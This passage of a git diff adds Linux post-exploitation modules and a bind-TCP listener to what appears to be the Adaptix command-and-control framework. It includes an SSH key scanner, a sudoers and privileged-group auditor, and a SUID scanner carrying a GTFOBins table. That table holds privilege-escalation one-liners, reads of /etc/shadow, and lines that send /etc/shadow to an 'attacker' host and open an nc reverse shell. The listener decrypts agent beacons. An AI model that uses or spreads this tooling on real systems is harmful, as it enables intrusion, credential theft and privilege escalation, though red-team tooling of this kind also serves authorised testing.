(field == 6) { + shell = field_start; + shell_len = (int)(p - field_start); + } + field++; + field_start = p + 1; + } + } + + // Skip system accounts with nologin/false shells (but keep root) + int skip = 0; + if (shell && shell_len > 0) { + // Check last component of shell path + if (shell_len >= 7 && AxStrncmp(shell + shell_len - 7, "nologin", 7) == 0) + skip = 1; + if (shell_len >= 5 && AxStrncmp(shell + shell_len - 5, "false", 5) == 0) + skip = 1; + } + + // Always scan root regardless of shell + if (username_len == 4 && AxStrncmp(username, "root", 4) == 0) + skip = 0; + + if (!skip && homedir && homedir_len > 0 && homedir_len < 256) { + char home_buf[512]; + AxMemcpy(home_buf, homedir, homedir_len); + home_buf[homedir_len] = '\0'; + + char uname_buf[256]; + if (username_len > 255) username_len = 255; + AxMemcpy(uname_buf, username, username_len); + uname_buf[username_len] = '\0'; + + scan_ssh_dir(home_buf, uname_buf); + users_scanned++; + } + + line = eol + 1; + } + + AxFree(passwd); + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Scanned %d user(s)\n", users_scanned); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c new file mode 100644 index 000000000..0ba344773 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c @@ -0,0 +1,264 @@ +/// sudo_check.c — BOF: Parse sudoers configuration + check current user privileges +/// Compile: gcc -c -o sudo_check.o sudo_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof sudo_check.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_REG 8 + +static void print_interesting_lines(const char *data, int len, const char *source) { + // Parse line by line, show non-comment, non-empty lines + const char *line = data; + int interesting = 0; + + while (line < data + len) { + const char *eol = line; + while (eol < data + len && *eol != '\n') + eol++; + + int line_len = (int)(eol - line); + + // Skip empty lines and comments + if (line_len > 0) { + // Skip leading whitespace + const char *start = line; + while (start < eol && (*start == ' ' || *start == '\t')) + start++; + + int content_len = (int)(eol - start); + if (content_len > 0 && *start != '#') { + // Check for high-value patterns + int is_nopasswd = 0; + int is_all = 0; + + // Manual search for NOPASSWD + for (const char *p = start; p + 8 <= eol; p++) { + if (AxStrncmp(p, "NOPASSWD", 8) == 0) { + is_nopasswd = 1; + break; + } + } + // Search for ALL + for (const char *p = start; p + 3 <= eol; p++) { + if (p[0] == 'A' && p[1] == 'L' && p[2] == 'L') { + is_all = 1; + break; + } + } + + char prefix[16]; + prefix[0] = ' '; prefix[1] = ' '; + int plen = 2; + if (is_nopasswd && is_all) { + // Critical: NOPASSWD + ALL + prefix[0] = '!'; prefix[1] = '!'; + } else if (is_nopasswd || is_all) { + prefix[0] = ' '; prefix[1] = '*'; + } + prefix[plen] = '\0'; + + // Print the line with truncation guard + char linebuf[1024]; + if (content_len > 1020) content_len = 1020; + AxMemcpy(linebuf, start, content_len); + linebuf[content_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, "%s %s\n", prefix, linebuf); + interesting++; + } + } + line = eol + 1; + } + + if (interesting == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no active rules in %s)\n", source); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Sudoers configuration audit\n"); + BeaconPrintf(CALLBACK_OUTPUT, " Legend: !! = critical (NOPASSWD+ALL), * = notable\n\n"); + + // 1. Read /etc/sudoers + char *sudoers = (char *)0; + int sudoers_len = AxReadFileToBuffer("/etc/sudoers", &sudoers, 524288); + if (sudoers_len > 0 && sudoers) { + BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/sudoers ===\n"); + print_interesting_lines(sudoers, sudoers_len, "/etc/sudoers"); + AxFree(sudoers); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Cannot read /etc/sudoers (need root or sudo group)\n"); + } + + // 2. Scan /etc/sudoers.d/ + int dirfd = AxOpenDir("/etc/sudoers.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. and hidden files + if (name[0] != '.') { + char filepath[512]; + AxSnprintf(filepath, sizeof(filepath), "/etc/sudoers.d/%s", name); + + char *fdata = (char *)0; + int flen = AxReadFileToBuffer(filepath, &fdata, 524288); + if (flen > 0 && fdata) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", filepath); + print_interesting_lines(fdata, flen, filepath); + AxFree(fdata); + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } + + // 3. Check current user's groups (from /proc/self/status) + char *status = (char *)0; + int status_len = AxReadFileToBuffer("/proc/self/status", &status, 65536); + if (status_len > 0 && status) { + // Find "Groups:" line + char *groups_line = AxStrstr(status, "Groups:"); + if (groups_line) { + char *eol = groups_line; + while (eol < status + status_len && *eol != '\n') + eol++; + int gline_len = (int)(eol - groups_line); + if (gline_len > 0) { + char gbuf[512]; + if (gline_len > 511) gline_len = 511; + AxMemcpy(gbuf, groups_line, gline_len); + gbuf[gline_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Current process ===\n"); + BeaconPrintf(CALLBACK_OUTPUT, " PID: %d | UID: %d | EUID: %d\n", + AxGetPid(), AxGetUid(), AxGetEuid()); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gbuf); + } + } + AxFree(status); + } + + // 4. Check if user is in sudo/wheel group via /etc/group + char *group_file = (char *)0; + int group_len = AxReadFileToBuffer("/etc/group", &group_file, 524288); + if (group_len > 0 && group_file) { + // Get current username from /proc/self/status (Name: field) or UID + int my_uid = AxGetUid(); + + // Find username from /etc/passwd by UID + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + char my_username[256]; + my_username[0] = '\0'; + + if (passwd_len > 0 && passwd) { + char uid_str[16]; + AxSnprintf(uid_str, sizeof(uid_str), "%d", my_uid); + int uid_str_len = AxStrlen(uid_str); + + char *line = passwd; + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // username:x:uid:... + char *c1 = AxStrchr(line, ':'); + if (c1 && c1 < eol) { + char *c2 = AxStrchr(c1 + 1, ':'); + if (c2 && c2 < eol) { + char *uid_start = c2 + 1; + char *c3 = AxStrchr(uid_start, ':'); + if (c3 && c3 < eol) { + int u_len = (int)(c3 - uid_start); + if (u_len == uid_str_len && AxStrncmp(uid_start, uid_str, u_len) == 0) { + int name_len = (int)(c1 - line); + if (name_len > 255) name_len = 255; + AxMemcpy(my_username, line, name_len); + my_username[name_len] = '\0'; + break; + } + } + } + } + line = eol + 1; + } + AxFree(passwd); + } + + if (my_username[0] != '\0') { + BeaconPrintf(CALLBACK_OUTPUT, " Username: %s\n", my_username); + + // Check privileged groups + const char *priv_groups[] = {"sudo", "wheel", "admin", "root", "docker", "lxd", "disk", (const char *)0}; + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Privileged group membership ===\n"); + + char *line = group_file; + while (line < group_file + group_len) { + char *eol = line; + while (eol < group_file + group_len && *eol != '\n') + eol++; + + // group:x:gid:member1,member2,... + char *c1 = AxStrchr(line, ':'); + if (c1 && c1 < eol) { + int gname_len = (int)(c1 - line); + + // Check if this is a privileged group + for (int i = 0; priv_groups[i]; i++) { + int pg_len = AxStrlen(priv_groups[i]); + if (gname_len == pg_len && AxStrncmp(line, priv_groups[i], gname_len) == 0) { + // Check if our user is a member + // Find last colon (members field) + char *last_colon = eol - 1; + while (last_colon > c1 && *last_colon != ':') + last_colon--; + if (*last_colon == ':') { + char *members = last_colon + 1; + int members_len = (int)(eol - members); + + // Search for username in comma-separated list + int uname_len = AxStrlen(my_username); + char *search = members; + while (search + uname_len <= eol) { + if (AxStrncmp(search, my_username, uname_len) == 0) { + char after = (search + uname_len < eol) ? *(search + uname_len) : '\0'; + if (after == ',' || after == '\0' || after == '\n') { + char gname_buf[64]; + if (gname_len > 63) gname_len = 63; + AxMemcpy(gname_buf, line, gname_len); + gname_buf[gname_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " [!] Member of '%s' group\n", gname_buf); + break; + } + } + // Advance to next comma or end + while (search < eol && *search != ',') + search++; + if (search < eol) search++; + } + } + } + } + } + line = eol + 1; + } + } + AxFree(group_file); + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c new file mode 100644 index 000000000..ef2590009 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c @@ -0,0 +1,240 @@ +/// suid_scan.c — BOF: Recursive SUID/SGID binary scanner with GTFOBins hints +/// Compile: gcc -c -o suid_scan.o suid_scan.c -include bof_api.h -Os -fPIC +/// Usage: execute bof suid_scan.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 +#define DT_LNK 10 + +#define S_ISUID 04000 +#define S_ISGID 02000 +#define S_IXUSR 00100 +#define S_IXGRP 00010 +#define S_IXOTH 00001 + +// Known GTFOBins SUID escalation targets +typedef struct { + const char *name; + const char *hint; +} gtfobins_t; + +static const gtfobins_t gtfobins[] = { + {"bash", "bash -p"}, + {"sh", "sh -p"}, + {"dash", "dash -p"}, + {"zsh", "zsh"}, + {"csh", "csh"}, + {"ksh", "ksh"}, + {"env", "env /bin/sh -p"}, + {"find", "find . -exec /bin/sh -p \\;"}, + {"nmap", "nmap --interactive -> !sh"}, + {"vim", "vim -c ':!sh'"}, + {"vi", "vi -c ':!sh'"}, + {"nano", "nano -> ^R^X -> reset; sh 1>&0 2>&0"}, + {"less", "less /etc/passwd -> !/bin/sh"}, + {"more", "more /etc/passwd -> !/bin/sh"}, + {"man", "man man -> !/bin/sh"}, + {"awk", "awk 'BEGIN {system(\"/bin/sh\")}'"}, + {"perl", "perl -e 'exec \"/bin/sh\";'"}, + {"python", "python -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"}, + {"python3", "python3 -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"}, + {"ruby", "ruby -e 'exec \"/bin/sh\"'"}, + {"lua", "lua -e 'os.execute(\"/bin/sh\")'"}, + {"php", "php -r 'system(\"/bin/sh\");'"}, + {"node", "node -e 'child_process.spawn(\"/bin/sh\",{stdio:[0,1,2]})'"}, + {"cp", "cp /bin/sh /tmp/sh && chmod +s /tmp/sh"}, + {"mv", "mv /bin/sh /tmp/sh (overwrite protected binary)"}, + {"dd", "LFILE=shadow && dd if=/etc/$LFILE"}, + {"tar", "tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/sh"}, + {"zip", "zip /tmp/t /etc/passwd -T --unzip-command='sh -c /bin/sh'"}, + {"gcc", "gcc -wrapper /bin/sh,-p,-s ."}, + {"make", "make -s --eval='$(shell /bin/sh -p)'"}, + {"docker", "docker run -v /:/mnt --rm -it alpine chroot /mnt sh"}, + {"pkexec", "pkexec /bin/sh (CVE-2021-4034)"}, + {"doas", "doas /bin/sh"}, + {"sudo", "sudo -l (check allowed commands)"}, + {"su", "su - (needs password)"}, + {"mount", "mount -o bind /bin/sh /usr/bin/target"}, + {"umount", "umount -l"}, + {"chroot", "chroot / /bin/sh -p"}, + {"strace", "strace -o /dev/null /bin/sh -p"}, + {"ltrace", "ltrace -b -L /bin/sh -p"}, + {"gdb", "gdb -nx -ex '!sh' -ex quit"}, + {"screen", "screen (old versions CVE-2017-5618)"}, + {"tmux", "tmux (check socket permissions)"}, + {"wget", "wget --post-file=/etc/shadow http://attacker/"}, + {"curl", "curl file:///etc/shadow"}, + {"nc", "nc -e /bin/sh attacker 4444"}, + {"ncat", "ncat -e /bin/sh attacker 4444"}, + {"socat", "socat stdin exec:/bin/sh"}, + {"ssh", "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"}, + {"scp", "scp -S /tmp/evil.sh x: ."}, + {"rsync", "rsync -e 'sh -p' . localhost:/dev/null"}, + {"tee", "echo data | tee /etc/crontab (file write)"}, + {"sed", "sed -n '1e exec sh -p 1>&0' /dev/null"}, + {"ed", "ed -> !/bin/sh"}, + {"ar", "TF=$(mktemp -u); ar r $TF /etc/shadow; cat $TF"}, + {"base64", "base64 /etc/shadow | base64 -d"}, + {"xxd", "xxd /etc/shadow | xxd -r"}, + {"taskset", "taskset 1 /bin/sh -p"}, + {"time", "time /bin/sh -p"}, + {"timeout", "timeout 5 /bin/sh -p"}, + {"nice", "nice /bin/sh -p"}, + {"ionice", "ionice /bin/sh -p"}, + {"start-stop-daemon", "start-stop-daemon -n x -S -x /bin/sh -- -p"}, + {"xargs", "xargs -a /dev/null sh -p"}, + {(const char *)0, (const char *)0} +}; + +static const char *find_gtfobins_hint(const char *basename) { + for (int i = 0; gtfobins[i].name; i++) { + if (AxStrcmp(basename, gtfobins[i].name) == 0) + return gtfobins[i].hint; + } + return (const char *)0; +} + +// Extract basename from path +static const char *get_basename(const char *path) { + const char *last = path; + for (const char *p = path; *p; p++) { + if (*p == '/') last = p + 1; + } + return last; +} + +static int suid_count = 0; +static int sgid_count = 0; +static int gtfobins_count = 0; + +static void scan_directory(const char *dirpath, int depth) { + if (depth > 8) return; // Max recursion depth + + int fd = AxOpenDir(dirpath); + if (fd < 0) return; + + char dirbuf[8192]; + + while (1) { + int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. + if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) { + pos += entry->d_reclen; + continue; + } + + char fullpath[1024]; + int dirlen = AxStrlen(dirpath); + if (dirlen + 1 + AxStrlen(name) + 1 > 1024) { + pos += entry->d_reclen; + continue; + } + AxStrcpy(fullpath, dirpath); + if (dirpath[dirlen - 1] != '/') { + fullpath[dirlen] = '/'; + fullpath[dirlen + 1] = '\0'; + } + AxStrcat(fullpath, name); + + // Recurse into directories + if (entry->d_type == DT_DIR) { + // Skip /proc, /sys, /dev, /run + if (depth == 0) { + if (AxStrcmp(name, "proc") == 0 || AxStrcmp(name, "sys") == 0 || + AxStrcmp(name, "dev") == 0 || AxStrcmp(name, "run") == 0 || + AxStrcmp(name, "snap") == 0) { + pos += entry->d_reclen; + continue; + } + } + scan_directory(fullpath, depth + 1); + } + + // Check files for SUID/SGID + if (entry->d_type == DT_REG || entry->d_type == DT_LNK) { + unsigned int mode = 0; + long fsize = 0; + unsigned int uid = 0, gid = 0; + + if (AxFileStat(fullpath, &mode, &fsize, &uid, &gid) == 0) { + int is_suid = (mode & S_ISUID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH)); + int is_sgid = (mode & S_ISGID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH)); + + if (is_suid || is_sgid) { + const char *basename = get_basename(fullpath); + const char *hint = find_gtfobins_hint(basename); + + char flags[16]; + int fi = 0; + if (is_suid) { flags[fi++] = 'S'; flags[fi++] = 'U'; flags[fi++] = 'I'; flags[fi++] = 'D'; } + if (is_suid && is_sgid) { flags[fi++] = '+'; } + if (is_sgid) { flags[fi++] = 'S'; flags[fi++] = 'G'; flags[fi++] = 'I'; flags[fi++] = 'D'; } + flags[fi] = '\0'; + + if (hint) { + BeaconPrintf(CALLBACK_OUTPUT, + "[!!] %-50s [%s] owner=%d GTFOBins: %s\n", + fullpath, flags, uid, hint); + gtfobins_count++; + } else { + BeaconPrintf(CALLBACK_OUTPUT, + " %-50s [%s] owner=%d\n", + fullpath, flags, uid); + } + + if (is_suid) suid_count++; + if (is_sgid) sgid_count++; + } + } + } + + pos += entry->d_reclen; + } + } + + AxCloseFile(fd); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning for SUID/SGID binaries...\n"); + BeaconPrintf(CALLBACK_OUTPUT, " [!!] = GTFOBins escalation candidate\n\n"); + + suid_count = 0; + sgid_count = 0; + gtfobins_count = 0; + + // Scan standard binary directories first (fast) + const char *fast_dirs[] = { + "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin", + "/bin", "/sbin", "/opt", + (const char *)0 + }; + + for (int i = 0; fast_dirs[i]; i++) { + scan_directory(fast_dirs[i], 2); // depth=2 to skip virtual fs skip logic + } + + // Full filesystem scan for non-standard locations + scan_directory("/home", 1); + scan_directory("/tmp", 1); + scan_directory("/var", 1); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Summary: %d SUID, %d SGID, %d GTFOBins candidates\n", + suid_count, sgid_count, gtfobins_count); +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/Makefile b/AdaptixServer/extenders/linux_listener_tcp/Makefile new file mode 100644 index 000000000..ec48f2439 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building listener_linux_tcp plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_linux_tcp.so pl_main.go pl_transport.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs new file mode 100644 index 000000000..dd5e7ea5f --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs @@ -0,0 +1,45 @@ +/// Linux TCP listener (internal — bind TCP for pivot) + +function ListenerUI(mode_create) +{ + let spacer1 = form.create_vspacer() + + let labelPortBind = form.create_label("Bind port:"); + let spinPortBind = form.create_spin(); + spinPortBind.setRange(1, 65535); + spinPortBind.setValue(4444); + spinPortBind.setEnabled(mode_create) + + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + textlineEncryptKey.setEnabled(mode_create) + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create) + + let spacer2 = form.create_vspacer() + + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + + let layout = form.create_gridlayout(); + layout.addWidget(spacer1, 0, 0, 1, 3); + layout.addWidget(labelPortBind, 1, 0, 1, 1); + layout.addWidget(spinPortBind, 1, 1, 1, 2); + layout.addWidget(labelEncryptKey, 2, 0, 1, 1); + layout.addWidget(textlineEncryptKey, 2, 1, 1, 1); + layout.addWidget(buttonEncryptKey, 2, 2, 1, 1); + layout.addWidget(spacer2, 3, 0, 1, 3); + + let container = form.create_container(); + container.put("port_bind", spinPortBind); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 650, + ui_width: 650 + } +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/config.yaml b/AdaptixServer/extenders/linux_listener_tcp/config.yaml new file mode 100644 index 000000000..f301c6f75 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_linux_tcp.so" +ax_file: "ax_config.axs" + +listener_name: "LinuxTCP" +listener_type: "internal" +protocol: "bind_tcp" diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.mod b/AdaptixServer/extenders/linux_listener_tcp/go.mod new file mode 100644 index 000000000..be4ec916f --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/go.mod @@ -0,0 +1,13 @@ +module adaptix_listener_linux_tcp + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.sum b/AdaptixServer/extenders/linux_listener_tcp/go.sum new file mode 100644 index 000000000..c481b50fe --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/go.sum @@ -0,0 +1,11 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_main.go b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go new file mode 100644 index 000000000..21fc94d30 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go @@ -0,0 +1,198 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + + adaptix "github.com/Adaptix-Framework/axc2" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error) +} + +type PluginListener struct{} + +var ( + ModuleDir string + ListenerDataDir string + Ts Teamserver +) + +// Msgpack structs matching Linux agent's build_init_msg format +type StartMsg struct { + Id int `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type InitPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Data []byte `msgpack:"data"` +} + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + Ts = ts.(Teamserver) + return &PluginListener{} +} + +func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var ( + listener *Listener + listenerData adaptix.ListenerData + customdData []byte + conf TransportConfig + err error + ) + + if customData == nil { + if err = validConfig(config); err != nil { + return nil, listenerData, customdData, err + } + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.Protocol = "bind_tcp" + } else { + err = json.Unmarshal(customData, &conf) + if err != nil { + return nil, listenerData, customdData, err + } + } + + transport := &TransportTCP{ + Name: name, + Config: conf, + Active: false, + } + + listenerData = adaptix.ListenerData{ + BindHost: "", + BindPort: "", + AgentAddr: fmt.Sprintf("0.0.0.0:%d", transport.Config.Port), + Status: "Stopped", + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(transport.Config) + if err != nil { + return nil, listenerData, customdData, err + } + customdData = buffer.Bytes() + + listener = &Listener{transport: transport} + + return listener, listenerData, customdData, nil +} + +func (l *Listener) Start() error { + l.transport.Active = true + return nil +} + +func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) { + var ( + listenerData adaptix.ListenerData + customdData []byte + ) + + listenerData = adaptix.ListenerData{ + BindHost: "", + BindPort: "", + AgentAddr: fmt.Sprintf("0.0.0.0:%d", l.transport.Config.Port), + Status: "Listen", + } + + var buffer bytes.Buffer + err := json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return listenerData, customdData, err + } + customdData = buffer.Bytes() + + return listenerData, customdData, nil +} + +func (l *Listener) Stop() error { + l.transport.Active = false + return nil +} + +func (l *Listener) GetProfile() ([]byte, error) { + var buffer bytes.Buffer + + err := json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return nil, err + } + + return buffer.Bytes(), nil +} + +func (l *Listener) InternalHandler(data []byte) (string, error) { + var agentId = "" + + // Decrypt with AES-128-GCM (16-byte key) + encKey, err := hex.DecodeString(l.transport.Config.EncryptKey) + if err != nil { + return "", err + } + if len(encKey) != 16 { + return "", errors.New("encrypt_key must be 16 bytes for AES-128") + } + + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", errors.New("beat ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", errors.New("aes-128-gcm decrypt error") + } + + // Parse msgpack: StartMsg{id, data} → InitPack{id, type, data} + var startMsg StartMsg + if err = msgpack.Unmarshal(plaintext, &startMsg); err != nil { + return "", fmt.Errorf("msgpack StartMsg decode error: %v", err) + } + + var initPack InitPack + if err = msgpack.Unmarshal(startMsg.Data, &initPack); err != nil { + return "", fmt.Errorf("msgpack InitPack decode error: %v", err) + } + + agentType := fmt.Sprintf("%08x", initPack.Type) + agentId = fmt.Sprintf("%08x", initPack.Id) + + if !Ts.TsAgentIsExists(agentId) { + _, err = Ts.TsAgentCreate(agentType, agentId, initPack.Data, l.transport.Name, "", false) + if err != nil { + return agentId, err + } + } + + return agentId, nil +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go new file mode 100644 index 000000000..da1cd728d --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go @@ -0,0 +1,44 @@ +package main + +import ( + "encoding/json" + "errors" + "regexp" +) + +type Listener struct { + transport *TransportTCP +} + +type TransportConfig struct { + Port int `json:"port_bind"` + EncryptKey string `json:"encrypt_key"` + + Protocol string `json:"protocol"` +} + +type TransportTCP struct { + Config TransportConfig + Name string + Active bool +} + +func validConfig(config string) error { + var conf TransportConfig + err := json.Unmarshal([]byte(config), &conf) + if err != nil { + return err + } + + if conf.Port < 1 || conf.Port > 65535 { + return errors.New("Port must be in the range 1-65535") + } + + // Linux agent uses AES-128-GCM (16-byte key = 32 hex chars) + match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) + if len(conf.EncryptKey) != 32 || !match { + return errors.New("encrypt_key must be 32 hex characters (16 bytes for AES-128)") + } + + return nil +} diff --git a/AdaptixServer/go.work b/AdaptixServer/go.work index 9ac15ecb9..b17739a9f 100644 --- a/AdaptixServer/go.work +++ b/AdaptixServer/go.work @@ -9,4 +9,6 @@ use ( ./extenders/beacon_listener_tcp ./extenders/gopher_agent ./extenders/gopher_listener_tcp + ./extenders/linux_agent + ./extenders/linux_listener_tcp ) diff --git a/AdaptixServer/profile.yaml b/AdaptixServer/profile.yaml index d303f7124..a796dffd4 100644 --- a/AdaptixServer/profile.yaml +++ b/AdaptixServer/profile.yaml @@ -17,6 +17,8 @@ Teamserver: - "extenders/beacon_agent/config.yaml" - "extenders/gopher_listener_tcp/config.yaml" - "extenders/gopher_agent/config.yaml" + - "extenders/linux_listener_tcp/config.yaml" + - "extenders/linux_agent/config.yaml" axscripts: # - "Extension-Kit/extension-kit.axs" access_token_live_hours: 12